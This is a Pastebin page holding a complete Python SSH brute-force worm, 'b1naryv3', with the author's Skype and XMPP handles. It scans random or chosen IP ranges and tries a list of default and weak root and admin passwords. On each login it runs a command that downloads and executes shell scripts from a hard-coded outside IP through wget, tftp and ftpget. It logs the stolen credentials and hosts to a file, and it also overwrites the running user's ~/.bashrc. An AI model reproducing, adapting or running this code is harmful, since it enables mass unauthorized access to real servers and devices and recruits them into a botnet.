Advertisement
Guest User

Untitled

a guest
Apr 9th, 2017
553
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.06 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MUST INSTALL PARAMIKO
  4. #yum install python-paramiko -y
  5.  
  6. """
  7. Usage: python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]
  8. Skype: b1narythag0d
  9. XMPP: b1nary@darkness.su
  10. Made Date: 7-2-16
  11. """
  12. """
  13.  
  14. # ___ __________ ____ _______ _____ _______________.___. ___
  15. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  16. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  17. # | | \ | / | \/ | \ | \\____ |
  18. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  19. # \/ \/ \/ \/ \/
  20. ***B1NARY V3**
  21. """
  22. import threading, paramiko, random, socket, time, sys, os
  23. usage='python b1naryv3.py [threads] [A|B|C|BRAZIL|SUPER|LUCKY|LUCKY2|RAND|INTERNET] [IPRANGE] [1|2|routers|perl|ubuntu|root|vps1|vps2|vps3|r00ted]'
  24. if len(sys.argv) < 4:
  25. sys.exit(usage)
  26. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  27. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  28. paramiko.util.log_to_file("/dev/null")
  29. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  30.  
  31. """
  32. ████████▄ ▄████████ ▄████████ ▄█ ███▄▄▄▄ ▄████████ ▄████████
  33. ███ ▀███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ███ ███ ███
  34. ███ ███ ███ █▀ ███ █▀ ███▌ ███ ███ ███ █▀ ███ █▀
  35. ███ ███ ▄███▄▄▄ ▄███▄▄▄ ███▌ ███ ███ ▄███▄▄▄ ███
  36. ███ ███ ▀▀███▀▀▀ ▀▀███▀▀▀ ███▌ ███ ███ ▀▀███▀▀▀ ▀███████████
  37. ███ ███ ███ █▄ ███ ███ ███ ███ ███ █▄ ███
  38. ███ ▄███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███
  39. ████████▀ ██████████ ███ █▀ ▀█ █▀ ██████████ ▄████████▀
  40. """
  41. cmd=' cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.32.200.165/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 45.32.200.165 -c get tf tp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 45.32.200.165; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.32.200.165 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm - rf * '
  42. blacklist = [
  43. '127'
  44. ]
  45. passwords = [
  46. "root:root",
  47. "root:toor",
  48. "root:admin",
  49. "root:1234",
  50. "root:maxided",
  51. "root:pi",
  52. "root:alpine",
  53. "root:r00tnull3d",
  54. "root:r00tnull3d#",
  55. "root:rootnull3d#",
  56. "root:password",
  57. "root:centos6svm",
  58. "root:1234",
  59. "root:123456",
  60. "root:Love2020",
  61. "root:Zero",
  62. "root:Password",
  63. "root:password",
  64. "root:qwerty",
  65. "root:dragon",
  66. "root:pussy",
  67. "root:baseball",
  68. "root:football",
  69. "root:monkey",
  70. "root:696969",
  71. "root:abc123"
  72. "admin:admin",
  73. "admin:1234",
  74. "admin:Guest",
  75. "ubnt:ubnt",
  76. "guest:guest",
  77. "user:user",
  78. "test:test",
  79. "pi:raspberry",
  80. "vagrant:vagrant",
  81. "localhost:root",
  82. "B1NARY:B1NARY",
  83. "tim:tim",
  84. "CISCO:CISCO",
  85. "netgear"
  86. "support:support",
  87. "oracle:oracle",
  88. "cusadmin:password",
  89. ]
  90.  
  91. """
  92. ▄█ ▄███████▄ ▄████████ ▄████████ ▄██████▄ ███▄▄▄▄ ▄████████ ▄████████
  93. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███ ███ ███ ███
  94. ███▌ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███ ███ █▀ ███ █▀
  95. ███▌ ███ ███ ▄███▄▄▄▄██▀ ███ ███ ▄███ ███ ███ ▄███▄▄▄ ███
  96. ███▌ ▀█████████▀ ▀▀███▀▀▀▀▀ ▀███████████ ▀▀███ ████▄ ███ ███ ▀▀███▀▀▀ ▀███████████
  97. ███ ███ ▀███████████ ███ ███ ███ ███ ███ ███ ███ █▄ ███
  98. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███
  99. █▀ ▄████▀ ███ ███ ███ █▀ ████████▀ ▀█ █▀ ██████████ ▄████████▀
  100. ███ ███
  101. """
  102. noodle = ["124.106","124.107","122.54","122.53","122.3","119.93","119.92"]
  103. br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  104. yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  105. lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  106. lucky2 = ["119.91","119.92","119.93","113.53"]
  107. lol = ["1","2","5","119","180","113","125","122","46","101",""]
  108. load = ["125.25","125.26","125.27","119.92","119.93","180.180","113.53","185.52"]
  109.  
  110. """
  111. ▄███████▄ ▄████████ ▄████████ ▄████████ ▄████████ ▄██████▄ ▄▄▄▄███▄▄▄▄ ▀█████████▄ ▄██████▄ ▄████████
  112. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███
  113. ███ ███ ███ ███ ███ █▀ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▀
  114. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███ ███ ███
  115. ▀█████████▀ ▀███████████ ▀███████████ ▀███████████ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀██▄ ███ ███ ▀███████████
  116. ███ ███ ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ██▄ ███ ███ ███
  117. ███ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███
  118. ▄████▀ ███ █▀ ▄████████▀ ▄████████▀ ████████▀ ▀██████▀ ▀█ ███ █▀ ▄█████████▀ ▀██████▀ ▄████████▀
  119. """
  120.  
  121. if sys.argv[4] == '1':
  122. passwords = ["root:root", "root:admin", "admin:1234"]
  123. if sys.argv[4] == '2':
  124. passwords = ["root:root", "root:toor", "root:admin", "admin:1234", "oracle:oracle", "root:alpine"]
  125. if sys.argv[4] == 'routers':
  126. passwords = ["root:admin", "root:root", "admin:1234", "admin:password", "cisco:cisco", "netgear:netgear", "cusadmin:password"]
  127. if sys.argv[4] == 'perl':
  128. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ]
  129. if sys.argv[4] == 'ubuntu':
  130. passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ]
  131. if sys.argv[4] == 'root':
  132. passwords = [ "root:root","root:test" ]
  133. if sys.argv[4] == 'vps1':
  134. passwords = [ "root:maxided", "root:centos6svm", "root:123456", "root:Love2020", "root:Zero", "root:Password", "root:password"]
  135. if sys.argv[4] == 'vps2':
  136. passwords = [ "root:maxided", "root:centos6svm", "root:1234", "root:qwerty", "root:dragon", "root:pussy", "root:baseball"]
  137. if sys.argv[4] == 'vps3':
  138. passwords = [ "root:maxided", "root:centos6svm", "root:football", "root:monkey", "root:696969", "root:abc123"]
  139. if sys.argv[4] == 'r00ted':
  140. passwords = [ "localhost:root", "B1NARY:B1NARY", "root:r00tnull3d#", "root:Flunzy2016", "bash:root"]
  141. if sys.argv[4] == 'brute':
  142. passwords = [ "root:centos6svm", "root:root", "root:toor", "root:abc123", "root:maxided"]
  143. if sys.argv[4] == 'lol':
  144. passwords = [ "admin:1234"]
  145.  
  146. """
  147. ▄█ ▄███████▄ ▄████████ ▄█ ▄████████ ▄████████ ▄████████ ▄████████ ▄████████
  148. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
  149. ███▌ ███ ███ ███ █▀ ███ ███ ███ ███ █▀ ███ █▀ ███ █▀ ███ █▀
  150. ███▌ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄ ███
  151. ███▌ ▀█████████▀ ███ ███ ▀███████████ ▀███████████ ▀███████████ ▀▀███▀▀▀ ▀███████████
  152. ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ █▄ ███
  153. ███ ███ ███ ███ ███▌ ▄ ███ ███ ▄█ ███ ▄█ ███ ███ ███ ▄█ ███
  154. █▀ ▄████▀ ████████▀ █████▄▄██ ███ █▀ ▄████████▀ ▄████████▀ ██████████ ▄████████▀
  155. â–€
  156. """
  157. ipclassinfo = sys.argv[2]
  158. if ipclassinfo == "A":
  159. ip1 = sys.argv[3]
  160. elif ipclassinfo == "B":
  161. ip1 = sys.argv[3].split(".")[0]
  162. ip2 = sys.argv[3].split(".")[1]
  163. elif ipclassinfo == "C":
  164. ips = sys.argv[3].split(".")
  165. num=0
  166. for ip in ips:
  167. num=num+1
  168. if num == 1:
  169. ip1 = ip
  170. elif num == 2:
  171. ip2 = ip
  172. elif num == 3:
  173. ip3 = ip
  174. """
  175. ▄████████ ▄████████ ▄█ █▄ ▄████████ ▄████████ ▄████████ ███▄▄▄▄ ███▄▄▄▄ ▄████████ ▄████████
  176. ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▀▀▀██▄ ███▀▀▀██▄ ███ ███ ███ ███
  177. ███ █▀ ███ █▀ ███ ███ ███ █▀ ███ █▀ ███ ███ ███ ███ ███ ███ ███ █▀ ███ ███
  178. ███ ███ ▄███▄▄▄▄███▄▄ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄ ▄███▄▄▄▄██▀
  179. ▀███████████ ▀███████████ ▀▀███▀▀▀▀███▀ ▀███████████ ███ ▀███████████ ███ ███ ███ ███ ▀▀███▀▀▀ ▀▀███▀▀▀▀▀
  180. ███ ███ ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ███ █▄ ▀███████████
  181. ▄█ ███ ▄█ ███ ███ ███ ▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███
  182. ▄████████▀ ▄████████▀ ███ █▀ ▄████████▀ ████████▀ ███ █▀ ▀█ █▀ ▀█ █▀ ██████████ ███ ███
  183. ███ ███
  184. """
  185. class sshscanner(threading.Thread):
  186. global passwords
  187. global ipclassinfo
  188. if ipclassinfo == "A":
  189. global ip1
  190. elif ipclassinfo == "B":
  191. global ip1
  192. global ip2
  193. elif ipclassinfo == "C":
  194. global ip1
  195. global ip2
  196. global ip3
  197. def run(self):
  198. while 1:
  199. try:
  200. while 1:
  201. thisipisbad='no'
  202. if ipclassinfo == "A":
  203. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  204. elif ipclassinfo == "B":
  205. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  206. elif ipclassinfo == "NOODLE":
  207. self.host = random.choice(noodle)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  208. elif ipclassinfo == "C":
  209. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  210. elif ipclassinfo == "BRAZIL":
  211. self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  212. elif ipclassinfo == "SUPER":
  213. self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  214. elif ipclassinfo == "LUCKY":
  215. self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  216. elif ipclassinfo == "LUCKY2":
  217. self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  218. elif ipclassinfo == "RAND":
  219. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  220. elif ipclassinfo == "INTERNET":
  221. self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  222. elif ipclassinfo == "LOAD":
  223. self.host = random.choice(load)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  224. else:
  225. self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  226. for badip in blacklist:
  227. if badip in self.host:
  228. thisipisbad='yes'
  229. if thisipisbad=='no':
  230. break
  231. username='root'
  232. password=""
  233. port = 22
  234. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  235. s.settimeout(3)
  236. s.connect((self.host, port))
  237. s.close()
  238. ssh = paramiko.SSHClient()
  239. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  240. dobreak=False
  241. for passwd in passwords:
  242. if ":n/a" in passwd:
  243. password=""
  244. else:
  245. password=passwd.split(":")[1]
  246. if "n/a:" in passwd:
  247. username=""
  248. else:
  249. username=passwd.split(":")[0]
  250. try:
  251. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  252. dobreak=True
  253. break
  254. except:
  255. pass
  256. if True == dobreak:
  257. break
  258. badserver=True
  259. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  260. output = stdout.read()
  261. if "inet addr" in output:
  262. badserver=False
  263. if badserver == False:
  264. print '\x1b[31mINFECTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  265. ssh.exec_command(""+cmd+"")
  266. time.sleep(20)
  267. ssh.close()
  268. open("r3kt.txt","a").write(username+":"+password+":"+self.host+"\n")
  269. except:
  270. pass
  271.  
  272. for x in range(0,int(sys.argv[1])):
  273. try:
  274. t = sshscanner()
  275. t.start()
  276. except:
  277. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement